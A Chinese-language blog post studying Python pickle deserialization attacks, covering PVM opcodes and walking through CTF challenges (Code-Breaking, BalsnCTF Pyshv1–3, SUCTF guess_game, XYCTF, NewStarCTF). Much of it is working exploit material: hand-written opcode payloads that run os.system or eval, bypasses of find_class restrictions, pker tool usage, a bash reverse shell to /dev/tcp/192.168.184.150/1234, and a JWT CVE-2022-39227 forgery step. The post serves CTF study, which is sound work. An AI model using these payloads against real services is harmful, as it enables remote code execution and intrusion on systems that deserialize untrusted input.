当前位置: 首页 > news >正文

python反序列化知识点学习

最近遇到了python反序列化的题目,简单学习一下相关的知识点

基础知识

Python 的序列化指的是将 Python 对象转换为一种格式,以便可以将其存储在文件或通过网络传输。Python 中最常用的序列化模块是 pickle 模块。

序列化使用的是pickle.dumps方法,反序列化使用的是pickle.loads方法

上网搜了一下,python序列化和反序列化的过程

大佬的文章写的很详细 https://tttang.com/archive/1885/

  1. 生成操作码序列:pickle模块在序列化Python对象时,会生成一系列操作码(opcode)来表示对象的类型和值。这些操作码将被保存到文件或网络流中,以便在反序列化时使用。

  2. 反序列化操作码:在反序列化时,pickle模块读取操作码序列,并将其解释为Python对象。它通过PVM来执行操作码序列。Virtual Machine会按顺序读取操作码,并根据操作码的类型执行相应的操作。

  3. 执行操作码:PVM支持多种操作码,包括压入常量、调用函数、设置属性等。执行操作码的过程中,Virtual Machine会维护一个栈来存储数据。当执行操作码时,它会将数据从栈中取出,并根据操作码的类型进行相应的操作。执行完成后,结果将被压入栈中。

  4. 构造Python对象:当操作码序列被完全执行后,PVM会将栈顶的数据作为结果返回。这个结果就是反序列化后的Python对象。

    还原的过程,其实就是根据操作码执行一些python语句,来还原出对象的属性,也是无法还原出方法

类似于jvm,python不是编译语言,最后代码的执行工作都是交由pvm执行的

其中pvm的一些关键组成部分如下

指令处理器、栈区和内存区。

  1. 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到.这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。需要注意的是:

    opcode 是单字节的

    带参数的指令用换行符来确定边界

  2. 栈区:用 list 实现的,被用来临时存储数据、参数以及对象

  3. 内存区:用 dict 实现的,为 PVM 的整个生命周期提供存储。称为memo

不同于php,php的序列化结果是易读的字符串,而pickle序列化的结果则是二进制字节流,而且pickle序列化封存对象有6种协议,序列化时是需要指定的,使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。

  1. v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python
  2. v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容
  3. v2 版协议是在 Python 2.3 中加入的,它为存储 new-style class 提供了更高效的机制。
  4. v3 版协议是在 Python 3.0 中加入的,它显式地支持 bytes 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议
  5. v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是 Python 3.8 使用的默认协议。
  6. v5 版协议是在 Python 3.8 中加入的。它增加了对带外数据的支持,并可加速带内数据处理

例如

import pickle
class test:def __init__(self):self.name = 'hellowrold'
a = test()
serialized = pickle.dumps(a, protocol=3)  # 指定PVM 协议版本
print(serialized)
unserialized = pickle.loads(serialized)  # 注意,loads 能够自动识别反序列化的版本
print(unserialized.name)
#结果
b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\n\x00\x00\x00hellowroldq\x04sb.'
hellowrold

可以看到,生成的结果种有很多\x的十六进制字符串,这些就是opcode,可以用pickletools.dis方法,查看这些操作码的具体作用

在这里插入图片描述

这里就不叙述这些操作码的具体作用了,上面大佬的文章讲的很详细,而且详细的PVM操作码可以在python3的安装目录的Lib里搜索pickle.py查看

重点关注下面这些即可

https://chenlvtang.top/2021/08/23/Python%E4%B9%8BPickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

这个大佬的文章有详细的解释和例子

0版本操作码

操作码功能写法栈变化
c获取一个全局对象或import一个模块c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,然后将从mark开始的元素直到模块作为参数,执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S’xxx’\n(也可以使用双引号、'等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个可调用对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的第一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的前两个元素作为key-value对(第一为值,第二为健),添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

基础利用

一般来说常用的是loadsdumps,漏洞的触发一般是通过传参至loads模块中,然后触发恶意用户希望执行的命令

命令执行

pickle中用来构造函数执行的字节码有三个:Rio不一定反序列化的结果是命令执行的结果,只要在反序列化的过程中能够执行命令即可

R操作码

R操作码就是__reduce__这个魔术方法,

在对象序列化过程中,pickle 模块会尝试调用对象的 __reduce__ 方法。如果对象没有定义 __reduce__ 方法,pickle 模块会尝试使用其他方法,比如 __getstate____setstate__

__reduce__ 方法返回一个元组或字符串,元组包含足够的信息,以便能够重建对象。这个元组的格式通常如下:

  1. 一个可调用对象(通常是一个构造函数或工厂函数),用于重建对象。
  2. 一个包含可调用对象所需参数的元组。
  3. (可选)对象的内部状态(通常是一个字典),用于恢复对象的状态。

如果返回元组,会把元组的第一个参数当作方法,第二个参数当作这个方法的参数,第二个参数也要是元组

import pickleclass test:def __init__(self):self.name = 'hellowrold'def __reduce__(self):return (exec,("import os;os.system('ls /')",))
a = test()
serialized = pickle.dumps(a, protocol=3) 
unserialized = pickle.loads(serialized)  
#操作码payload 协议版本0
opcode=b'''cos
system
(S'whoami'
tR.'''

在这里插入图片描述

上网还找到了一个payload:(exec,("raise Exception(__import__('os').popen('whoami').read())",))

感觉类似ssti,要想办法把os模块搞进来,从而执行系统命令,

知道就是__reduce__方法也要学习对应的操作码payload,有时只知道生成好的opcode,要在复杂的原始opcode后面添加我们的payload,不过能用reduce的话,随便生成个类,不和靶机相同,还原时也会被执行命令,我们在学习手写payload时,建议学习0版本的opcode,非常易懂

i操作码

payload

opcode=b'''(S'whoami'
ios
system
.'''
test=pickle.loads(opcode)

opcode为什么要这么写呢,查上面的表即可知道

( 压入mark标记 ,标志复杂的对象的开始 => S'whoami'实例化一个字符串对象,值为whoami => ios\nsystem\n i操作码语法i[module]\n[callable]\n,寻找上一个mark标记,找到了i和mark之间的数据:字符串whomai,放入一个元组中,并把这个元组作为os.system的执行参数,同时把函数的执行结果入栈

实际利用可以去除原本的序列化字符串结束符.,再把这个opcode拼接上去,如上面那个test的例子

serialized = pickle.dumps(a, protocol=3) 
opcode=b'''(S'whoami'
ios
system
.'''
target=b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\n\x00\x00\x00hellowroldq\x04sb'+opcode
try_=pickle.loads(target) 

后面其他的字节码payload都可以通过查表得知其含义

c+o操作码

payload

opcode=b'''(cos
system
S'whoami'
o.'''

c操作码写法 c[module]\n[instance]\n,获得os.system方法,装入string对象whoami最后让o来执行,i操作码后面不用o,它相当于c和o的组合

变量覆盖

主要用到b操作码给对象赋值

demo

import pickle
import secret
print("secret变量的值为:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'helloworld'
db.'''
hack=pickle.loads(opcode)
print("secret变量的值为:"+secret.secret)
#secret变量的值为:secret
#secret变量的值为:helloworld

opcode解析

opcode功能栈的变化
c__main__从最高层代码运行环境main模块入栈
secret引入secret模块或类secret入栈
(压入mark标记mark入栈
S’secret’\nS’helloworld’实例化两个字符串对象两个字符串对象入栈
d寻找上一个mark标记,生成一个字典,并把该mark标记和d之间的变量按入栈先后顺序设为字典中的键值,字典{‘secret’:‘hellowrold’}入栈,mark,两个字符串出栈
b用栈顶字典{‘secret’:‘hellowrold’}给栈顶下一个元素,即secret模块更新属性引入的secret模块的secret值被修改

变量引用

类似于php,知道目标会有哪些类,我们可以在本地也搞个同样的类,修改一下生成的字节码,导致目标还原时引用到了不该引用的变量

如:

import pickle
import pickletoolsclass secret:pwd = "hahaha"class test:def __init__(self):self.pwd = secret.pwd
a=test()
# pickletools.optimize优化,更易读
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)

假设目标有个secret.py,里面有个pwd变量,目标:假设目标收到我们修改过的字节码,还原test对象时让他引用secret.py的pwd

现在这个生成的字节码,使用的就是本地class类的pwd

b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\nVhahaha\nsb.'

关注后面的Vhahaha,表示unicode字符串,改为csecret\npwd,用c操作码引入secret模块的pwd

b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'

目标还原模拟

import secret
import pickle
import pickletoolsclass test:def __init__(self):self.pwd = secret.pwd
target=b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'
print(vars(pickle.loads(target)))

在这里插入图片描述

成功引用到secret.py的pwd

相关过滤和绕过

过滤R

使用i或c+o操作码替代

find_class限制模块

bulitins :Code-Breaking 2018 picklecode

pickle存在这些漏洞,pickle也出了防御的方法就是通过重写Unpickler.find_class()来限制全局变量的使用

在0版协议opcode中,只有ci、这两个字节码与全局对象有关,当出现这两个字节码时会调用find_class,所以我们使用时不能违反其限制

看之前的操作码基础payload,基本上都是直接引入os模块的system方法执行命令,如果用find_class方法限制了引入的类,就不能引入os了,这里是限制了只能引入builtins模块,builtins模块里都是py的内置方法,其中也有能执行命令的敏感函数,如eval,

接下来的例子都是网上找到的一些题目:

import builtins 
import io       
import pickle   
# 需要限制反序列化对象时可以使用的类
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
# 定义RestrictedUnpickler类继承自pickle.Unpickler
class RestrictedUnpickler(pickle.Unpickler):# 重写find_class方法def find_class(self, module, name):# 如果被反序列化的对象的类属于builtins模块中的安全类,则返回该类if module == "builtins" and name not in blacklist:return getattr(builtins, name)# 如果不是安全类,就抛出异常,禁止反序列化raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))# 定义一个帮助函数restricted_loads来反序列化对象
def restricted_loads(s):"""Helper function analogous to pickle.loads()."""# 将传入的字符串s转换为bytes,并使用RestrictedUnpickler类反序列化return RestrictedUnpickler(io.BytesIO(s)).load()

思路,只能使用bulitins模块,而且不能直接使用builtins模块的eval或exec方法,大佬的方法很巧妙,

1.利用builtins.getattr方法(从对象中获取指定名称的属性),从bulitins的dict类中,取出可以获取字典属性的get方法,即执行getattr(bulitins.dict,‘get’)

2.利用get方法,从bulitins模块的全局变量字典bulitins.globals()再取出bulitsin模块这样拿到的Bulitins模块不受find_class限制,因为find_class只限制c,i这种直接引入的,相当于执行dict.get(builtins.globals(),'builtins'),dict类的get方法一般要绑定某个字典使用,如字典a.get('b'),否则就要在方法参数中指定字典,所以能获取到builtins模块

3拿到bulitins模块,再用getattr取出eval方法,执行命令即可

当时看这个思路,本来想在操作码中看能不能直接getattr(__builtins__,'eval')但是在反序列化时会报错

R操作码版本

大佬的opcode payload

 opcode=b'''cbuiltins      
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'__builtins__'
tRp3
0g0
(g3
S'eval'
tR(S"__import__("os").system('dir')"
tR.'''

写一下自己对这个opcode执行过程的一些浅薄理解

1-2   :c操作码引入builtins.getattr方法,该方法入栈
3     :栈顶元素builtins.getattr方法存入memo_0
4-5   :mark标记入栈,c引入builtins.dict方法,该方法入栈
6     :字符串对象'get'入栈
7     :t:寻找上一个mark标记,把之间的数据组成一个元组,放到栈顶,生成元组(bulitins.dict,get) ,R:执行栈中最靠近栈顶的可调用对象或方法,最接近栈顶的元组当作方法参数,并把执行结果放入栈顶,方法和元组出栈,这里的方法是builtins.getattr方法,所以执行bulintins.gettattr(bulitins.dict,get)(获取dict类的get方法),执行结果入栈,p1:栈顶元素存入memo_1
8-9   builtins.globals方法入栈
10    :)压入空元组,R执行builtins.globals()方法,执行结果(builtins模块的全局变量字典)入栈 p2:栈顶元素存入memo_2
11    :00 连续丢弃两个栈顶元素,此时栈为空 g1:memo_1元素即 dict.get方法入栈
12    :(mark标记入栈,g2:将memo_2元素即biultins模块的全局变量字典入栈,
13    :字符串'bulitins'入栈
14    :跟7类似,这里简写-> 生成元组(bulitins.golbals,'builtins')并放入栈顶,此时最靠近的栈顶的方法是dict.get,所以执行dict.get(bulitins.golbals,'builtins')的结果,就是获得了builtins模块入栈,存入memo_3
15    :抛弃栈顶元素bulitins,此时栈为空栈,memo_0元素bulitins.getattr入栈
16    :mark标记入栈,memo_3元素bulitins模块入栈,
17    :字符串对象'eval'入栈
18    :生成元组(builtins,'eval'),其实规范来说应该是(dict.get(builtins.globals(),'builtins'),'eval'),用前者简写,R执行builtins.getattr(builtins,'eval')获得eval方法,调用方法和元组出栈,此时栈中只有执行结果eval方法, ( 压入mark标记,字符串'__import__("os").system("whoami")'入栈
19    :生成元组('__import__("os").system("whoami")'),R执行eval('__import__("os").system("whoami")'),调用方法和元组出栈,执行结果入栈 .结束反序列化还原操作

理解opcode过程中,强烈建议,模拟一下还原过程中栈的进出以及memo区的存储,加深印象

上面的opcode明显都要用R字节码,如果过滤了R,我们还可以用O操作码替代,手写了一个,虽说能跑,但感觉很不优雅,佬们轻喷

opcode=b"""cbuiltins
getattr
p0
0(cbuiltins
globals
op1
0(g0
cbuiltins
dict
S'get'
op2
0(g2
g1
S'builtins'
op3
0(g0
g3
S'eval'
op4
0(g4
S"__import__('os').system('whoami')"
o."""

sys:BalsnCTF 2019 Pyshv1

如果限制了只能引入sys模块,该如何操作

如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块,存储在sys.modules这个字典中,有些库是默认被加载进来的,例如 os,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

因为sys.modules 还包含了sys模块本身,所以里面的'sys'健对应的模块我们是能直接使用的,所以如果能sys.modules['sys']=sys.modules,相当于sys=sys.modules,利用sys去调用原本是sys.modules里的对象,可以利用s操作码更新modules字典

然后去获取sys.modules.get方法,得到get方法,,然后执行sys.modules.get('os'),取出os模块,再把sys.modules[‘sys’]覆盖为sys.modules[‘os’],sys['sys']=os这样一来os模块就被引进来了,直接使用system方法执行命令即可,非常巧秒,大佬的opcode

opcode=b"""csys   
modules
p0
S'sys'
g0
scsys
get
(S'os'
tRp1
0S'sys'
g1   
scsys
system
(S'whoami'
tR0."""

opcode解析

1-3    :引入sys.modules字典入栈,并存储到memo_0
4      :字符串'sys'入栈
5      :取出memo_0元素,即sys.modules字典入栈
6      :s操作码,此时栈中有三个元素,自上而下是sys.modules,'sys',sys.modules,看一下s操作码,所以这里就是让sys.modules为value,'sys'为key,更新到字典sys.modules中,即sys.modules['sys']=sys.modules ,
6-7     此时sys就是sys.moudles,引入sys.get方法
8       压入mark标记,压入字符串'os'
9       创建空元组,内容为('os'),R操作码实现:执行方法sys.get('os')获取os模块,os模块入栈且存到memo_1中
10       弹出os模块,字符串'sys'入栈
11       从memo_1中取出os模块入栈
11-12    s:类似6-7,更新sys.modules字典,sys.modules['sys']=os
12-13    引入sys.system
13-14    R操作码执行:system('whomai'),执行结果入栈,反序列化结束时栈里只能有一个元素,此时有两个:whoami的执行结果和sys.modules,所以需要弹出一个

自定义空模块:BalsnCTF 2019 Pyshv2

关键代码

whitelist=['structs']
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module not in whitelist or '.' in name:raise KeyError('The pickle is spoilt :(')module = __import__(module) return getattr(module, name)

structs是自定义的空模块,,不能cbuiltins直接拿内置方法,但可以通过__builtins_这个公有字典来取

在pickle源码中,find_class调用了__import__或getattr实现引入模块,如:

在这里插入图片描述

而且官方的重写find_class方法例子中,也只有return getattr,即__import__getattr这两个方法一般不会同时使用**,而这题不同,它们同时使用了,这就有了可乘之机


因为只能引入structs这个模块,它又是空的,而py中有一些操作类的魔术方法, 由于py的灵活性,部分魔术方法也可对模块使用,就用这些魔术方法,来达到我们的目的,魔术方法及其功能在这里可以查看,https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html

思路:

1.还是要拿到能获取字典属性的get方法,现在不能用cbuiltins\ngetattr从dict类拿了,但是还有一个魔术方法平替__getattribute__,跟getattr有一样的功能,可以通过structs._getattribute__来调用,但是__getattribute__不能像getattr一样,在方法调用时传入指定要取的字典,它只有一个参数,即要取的属性,由谁调用就从从哪里取

2.所以,当调用structs._getattribute__,它取的是哪个字典呢?structs.__dict__这个字典,它存储了这么模块所有的属性,如果这个字典被修改,那么模块的属性也会改变,一些类的属性修改也是通过修改它的__dict__字典实现的

3.前面提到,这一题同时使用了__import__getattr来引入模块,前者却是可以被覆盖的,且先被调用,如果我们让structs.__dict__['structs']=structs.__builtins__,再把__import__覆盖为structs._getattribute__,即structs.__dict__['__import__']=structs._getattribute__,那么如果执行opcodecstructs\nget

此时在find_class方法中,module是structs,name是get, __import__('structs')变为structs.__getattribute__('structs'),根据前面对structs模块属性的修改,这个的执行结果就是structs.__builtins__,然后在return getattr(structs.__builtins__,'get'),这样就拿到了能获取__builtins__字典的get方法,后面直接取出eval,相当于sturcts.__builtins__.get('eval'),非常巧妙

opcode:

opcode=b"""cstructs
__getattribute__
p0
0cstructs
__dict__
S'structs'
cstructs
__builtins__
p1
sg1
S'__import__'
g0
scstructs
get
(S'eval'
tR(S'print(open("flag.txt").read())'
tR."""

关键opcode解析

scstructs  s操作码就是更新__builtins__字典,把__import__方法改为__getattribute__
get        更新完后,执行c操作码,就像思路中提到的,此时栈顶就是__builtins__.get方法,所以后面再入栈一个参数元组('eval'),R执行拿到eval方法,

因为import语句就是调用__import__实现的,此时import无法使用,不能引入os执行命令,得用其他方法拿flag

从这两题的一些思考

  • 实现rce有大概两种思路,1是直接引入os.system 执行系统命令 2是拿到builitins的eval执行任意py代码
  • 在有find_class限制后,一般都不能直接引入os,只能想办法拿到eval,在eval执行的代码中再import os,而eval存在于__builtins__这个全局变量字典中,要取出来,必须要先拿到dict类get这个方法,再从全局变量字典中拿到eval方法
  • 怎么拿到get方法,有两个思路,任意模块.__builtins__.getgetattr(builtins.dict,'get')

描述符:BalsnCTF 2019 Pyshv3

源码:

# File: securePickle.py
import pickle
import iowhitelist = []# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module not in whitelist or '.' in name:raise KeyError('The pickle is spoilt :(')return pickle.Unpickler.find_class(self, module, name)def loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()dumps = pickle.dumps# File: server.py
import securePickle as pickle
import codecs
import os
import structspickle.whitelist.append('structs')class Pysh(object):def __init__(self):self.key = os.urandom(100)self.login()self.cmds = {'help': self.cmd_help,'whoami': self.cmd_whoami,'su': self.cmd_su,'flag': self.cmd_flag,}def login(self):with open('flag.txt', 'rb') as f:flag = f.read()flag = bytes(a ^ b for a, b in zip(self.key, flag))user = input().encode('ascii')user = codecs.decode(user, 'base64')user = pickle.loads(user)print('Login as ' + user.name + ' - ' + user.group)user.privileged = Falseuser.flag = flagself.user = userdef run(self):while True:req = input('$ ')func = self.cmds.get(req, None)if func is None:print('pysh: ' + req + ': command not found')else:func()def cmd_help(self):print('Available commands: ' + ' '.join(self.cmds.keys()))def cmd_whoami(self):print(self.user.name, self.user.group)def cmd_su(self):print("Not Implemented QAQ")# self.user.privileged = 1def cmd_flag(self):if not self.user.privileged:print('flag: Permission denied')else:print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))if __name__ == '__main__':pysh = Pysh()pysh.run()# File: structs.py
class User(object):def __init__(self, name, group):self.name = nameself.group = groupself.isadmin = 0self.prompt = ''

只要user.privileged不为false,就可以拿到flag,但是题目在反序列化后,又给privileged赋值为false,所以在反序列化过程中覆盖修改行不通

但是还有一个东西可以利用,就是描述符类

当一个类实现了__get____set____delete__任一方法时,该类被称为“描述符”类,该类的实例化为描述符。对于一个某属性为描述符的类来说,其实例化的对象在查找该属性或设置属性时将不再通过__dict__,而是调用该属性描述符的__get____set____delete__方法。需要注意的是,一个类必须在声明时就设置属性为描述符,使之成为类属性,而不是对象属性,此时描述符才能起作用。

在这里插入图片描述

如这个例子:

class test(object):def __set__(self, obj, val):passname='hello'm = test()
test.privileged = m
print(m.privileged)
m.name = 'wrold'
print(m.name,m.privileged)
m.privileged = False
if m.privileged:print('yes')

在这里插入图片描述
,

在这个例子中,test类设置__set__方法,成为描述符类,实例化一个m对象后,把test类的privileged属性设置为m描述符对象本身,再去修改privileged,就会触发__set__,这个方法我设了pass,所以会修改失败,

大佬的实现opcode

cstructs
User
p0
(I111
I222
tRp1
g0
(N}S'__set__'
g0
sS'privileged'
g1
stbg1
.

去看了pickle中b操作码的源码,才发现b操作码更新属性还可以用元组(应该是用来恢复__slotstate__定义的静态属性)

相关源码如下

def load_build(self):stack = self.stackstate = stack.pop()inst = stack[-1]# 检查是否有`__setstate__`方法setstate = getattr(inst, "__setstate__", None)if setstate is not None:setstate(state)returnslotstate = None#检查弹出的栈顶元素是不是两个元素的元组,是元组就把元组第一个元素用来更新栈顶第二个元素的属性#否则当作字典去更新if isinstance(state, tuple) and len(state) == 2:state, slotstate = stateif state:inst_dict = inst.__dict__intern = sys.internfor k, v in state.items():if type(k) is str:inst_dict[intern(k)] = velse:inst_dict[k] = vif slotstate:for k, v in slotstate.items():setattr(inst, k, v)dispatch[BUILD[0]] = load_build

SUCTF-2019:guess_game

关键代码

# file: Ticket.py
class Ticket:def __init__(self, number):self.number = numberdef __eq__(self, other):if type(self) == type(other) and self.number == other.number:return Trueelse:return Falsedef is_valid(self):assert type(self.number) == intif number_range >= self.number >= 0:return Trueelse:return False# file: game_client.py
number = input('Input the number you guess\n> ')
ticket = Ticket(number)
ticket = pickle.dumps(ticket)
writer.write(pack_length(len(ticket)))
writer.write(ticket)

client 端接收数字输入,用这个数字生成的 Ticket 对象序列化后发送给 server 端。

# file: game_server.py 有删减
from guess_game.Ticket import Ticket
from guess_game.RestrictedUnpickler import restricted_loads
from struct import unpack
from guess_game import game
import syswhile not game.finished():ticket = stdin_read(length)ticket = restricted_loads(ticket)assert type(ticket) == Ticketif not ticket.is_valid():print('The number is invalid.')game.next_game(Ticket(-1))continuewin = game.next_game(ticket)if win:text = "Congratulations, you get the right number!"else:text = "Wrong number, better luck next time."print(text)if game.is_win():text = "Game over! You win all the rounds, here is your flag %s" % flagelse:text = "Game over! You got %d/%d." % (game.win_count, game.round_count)print(text)# file: RestrictedUnpickler.py  对引入的模块进行检测
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):# Only allow safe classesif "guess_game" == module[0:10] and "__" not in name:return getattr(sys.modules[module], name)# Forbid everything else.raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()

server将接受到的数据反序列化,还原成一个ticket对象,再自己生成一个ticket对象,但是数字是随机的,传过来的要和本地的生成对象中的随机数字相等算赢,赢了10次才能拿flag

要覆盖game的 win_count 和 round_count。换句话来说,就是需要在反序列化 Ticket 对象前执行:

from guess_game import game  # __init__.py  game = Game()
game.round_count = 10
game.win_count = 10

开始构造

cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb

但是在反序列化后,还有个assert type(ticket) == Ticket,所以覆盖完后,栈顶要是一个Ticket对象,所以这个payload后面要跟一个能还原Ticket对象的opcode,自己生成一个对象然后dumps一下即可

ticket=Ticket(3)
print(pickle.dumps(ticket))
b'\x80\x03cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x03sb.'

完整payload

opcode = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''

pker工具使用

有一个工具pker,利用ast帮助我们生成opcode,地址:https://github.com/eddieivan01/pker

功能

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

但是也是有它自己的语法,如:

以下module都可以是包含.的子module

调用函数时,注意传入的参数类型要和示例一致

对应的opcode会被生成,但并不与pker代码相互等价

语法

GLOBAL对应opcode:b'c'获取module下的一个全局对象(没有**import**的也可以,比如下面的os):GLOBAL('os', 'system')输入:module,instance(callable、module都是instance)INST对应opcode:b'i'建立并入栈一个对象(可以执行一个函数):INST('os', 'system', 'ls')  输入:module,callable,para OBJ对应opcode:b'o'建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):OBJ(GLOBAL('os', 'system'), 'ls')输入:callable,paraxxx(xx,...)对应opcode:b'R'使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)li[0]=321或globals_dic['local_var']='hello'对应opcode:b's'更新列表或字典的某项的值xx.attr=123对应opcode:b'b'对xx对象进行属性设置return对应opcode:b'0'出栈(作为pickle.loads函数的返回值):return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

用法,现在一个文件写上pker语句,例如R操作码执行命令

r文件
system=GLOBAL('os','system')
system('whoami')
return

然后python3 pker.py <r 即可

在这里插入图片描述

R经常被过滤,不如用o操作码的

opcode=b"(cos\nsystem\nS'whoami'\no."
opcode=b"(cos\nsystem\nS'ls /'\no."

反弹shell

b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/192.168.184.150/1234 0>&1"\'\no.'

使用

针对Code-Breaking 题目的pker代码,可以生成有相同效果的opcode,就是会多次调用存入memo的语句,比较冗长

getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dict=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dict,'__builtins__')
eval=getattr(builtins,'eval')
eval("__import__('os').system('whoami')")
return

上面练习的其他的题目 pker代码在pker的test文件夹里都有

题目实战

XYCTF2024 login

题目只给了登录,注册两个页面,观察请求头,发现cookie中有个Remberme字段比较可疑,

在这里插入图片描述

base64解码后发现,

在这里插入图片描述

name hello ,pwd ,123,这些都是登录用到的数据,这应该是存储序列化用户对象的opcode,拿到python base64解码一下

在这里插入图片描述

完全符合3版本的opcode,看来gASV开头的base64大概率是opcode

经过测试 过滤了R,于是用o操作码执行命令,再base64编码一下

opcode=b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/vps_ip/port 0>&1"\'\no.'
print(base64.b64encode(opcode)

更新cookie的Remberme字段,再重定向到首页即可,

在这里插入图片描述

newstarctf Yes’s pikle

给了源码

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)def generate_random_string(length=16):characters = string.ascii_letters + string.digits  # 包含字母和数字random_string = ''.join(random.choice(characters) for _ in range(length))return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():payload=request.args.get("token")if payload:token=verify_jwt(payload, key, ['PS256'])session["role"]=token[1]['role']return render_template('index.html')else:session["role"]="guest"user={"username":"boogipop","role":"guest"}jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))return render_template('index.html',token=jwt)@app.route("/pickle")
def unser():if session["role"]=="admin":pickle.loads(base64.b64decode(request.args.get("pickle")))return render_template("index.html")else:return render_template("index.html")
if __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True)

这里访问首页会给个jwt的token,考点就是jwt的一个CVE,CVE-2022-39227,需要一个已知token且python-jwt版本<3.3.4,然后用脚本改成我们想要的token,poc地址 https://github.com/user0x1337/CVE-2022-39227

用法

python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"

生成一个新的token,get传给主页路由后,再访问pickle路由,若有报错,则修改成功

在这里插入图片描述

没有过滤,r执行命令即可,没有回显,尝试反弹shell

op=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
tR.'''

在这里插入图片描述

参考文章

1.https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20200328-pickle.html

